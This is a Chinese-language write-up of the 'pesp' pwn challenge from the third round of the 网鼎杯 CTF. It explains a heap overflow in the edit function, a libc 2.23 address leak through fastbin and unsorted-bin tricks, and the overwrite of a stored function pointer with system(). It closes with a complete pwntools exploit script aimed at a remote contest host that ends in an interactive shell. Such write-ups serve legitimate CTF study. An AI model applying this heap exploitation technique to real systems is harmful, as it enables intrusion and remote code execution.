网鼎杯第三场pesp题解

题目保护


未开启PIE

题目流程


菜单,功能齐全

show功能。无漏洞点

add功能,可申请99个任意大小的堆块

edit功能,可填入任意大小的内容。存在明显的堆溢出漏洞。

free功能。无漏洞

程序首先malloc了一个0x20大小的堆块。之后会调用这个堆块中0x8偏移中的地址。

漏洞利用

泄露地址

程序并没有给我们libc程序,所以我们首先需要泄露libc的版本和地址。
通过堆溢出可以轻松的制造出UAF漏洞进行使用。
这里我使用了fastbin attack通过bss段的stderr指针得到修改bss段的机会。也就可以覆盖bss段上保存堆地址的数组。通过修改堆地址为got表泄露出put和free两个函数的地址。

通过libc search查到版本为libc2.23。
查询libc版本使用一个脚本先跑出来。再通过libc版本写下一个脚本
之后通过UAF再次泄露出一个unsorted bin的地址。
此时我们已经得到libc的基址和system函数的地址。

漏洞利用

通过UAF可以制造出fastbin attack修改申请的第一个堆块内容。将它的内容改为system地址即可完成利用。

脚本

from pwn import *
p=remote('106.75.27.104',50514)
#p=process(['./pwn33'],env={'LD_PRELOAD':'./libc2.23.so'})
e=ELF('./libc2.23.so')
context(log_level='debug')
p.recvuntil('Your choice:')
def create(a,b):
    p.sendline('2')
    p.recvuntil('Please enter the length of servant name:')
    p.sendline(str(a))
    p.recvuntil('Please enter the name of servant:')
    p.sendline(b)
    p.recvuntil('Your choice:')
def dele(a):
    p.sendline('4')
    p.recvuntil('Please enter the index of servant:')
    p.sendline(str(a))
    p.recvuntil('Your choice:')
def edit(a,b,c):
    p.sendline('3')
    p.recvuntil('Please enter the index of servant:')
    p.sendline(str(a))
    p.recvuntil('Please enter the length of servant name:')
    p.sendline(str(b))
    p.recvuntil('Please enter the new name of the servnat:')
    p.sendline(c)
    p.recvuntil('Your choice:')



create(200,'123')

create(0x10,'123')#1

create(200,'123')
create(200,'123')
dele(0)
edit(1,0x200,'a'*0x10+p64(0xf0)+p64(0Xd0))
dele(2)

create(200,'123')

p.sendline('1')
p.recvuntil('1 : ')
libc=u64(p.recvuntil('3')[:-1].ljust(8,chr(0)))-0x3C4B78
system=libc+e.symbols['system']
print hex(libc)
create(0x10,'aaa')
create(0x10,'aaa')
create(0x10,'aaa')#2
dele(4)
dele(2)
p.sendline('1')
p.recvuntil('1 : ')
h=u64(p.recvuntil('3')[:-1].ljust(8,chr(0)))-0x110
print hex(h)
edit(1,0x10,p64(h))
create(0x10,'aaa')

create(0x10,p64(system)*2)

p.sendline('5')


p.interactive()